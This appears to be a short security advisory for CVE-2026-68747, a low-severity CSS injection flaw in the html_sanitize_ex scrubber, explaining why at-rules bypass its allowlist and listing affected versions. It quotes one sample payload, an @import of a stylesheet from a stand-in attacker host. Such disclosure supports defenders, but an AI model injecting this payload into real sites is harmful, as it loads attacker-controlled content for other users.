Threats Tagged 'cve-2026-68747'

CVE-2026-68747 is a low severity injection vulnerability in the CSS scrubber of the rrrene html_sanitize_ex library. It allows an unauthenticated remote attacker to inject CSS at-rules, such as importing a remote stylesheet, into pages served to other users. The vulnerability arises because the scrubber applies its allowlist only to property:value patterns, leaving other CSS constructs like @import unfiltered. Injected content remains within the <style> element and does not execute scripts.

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.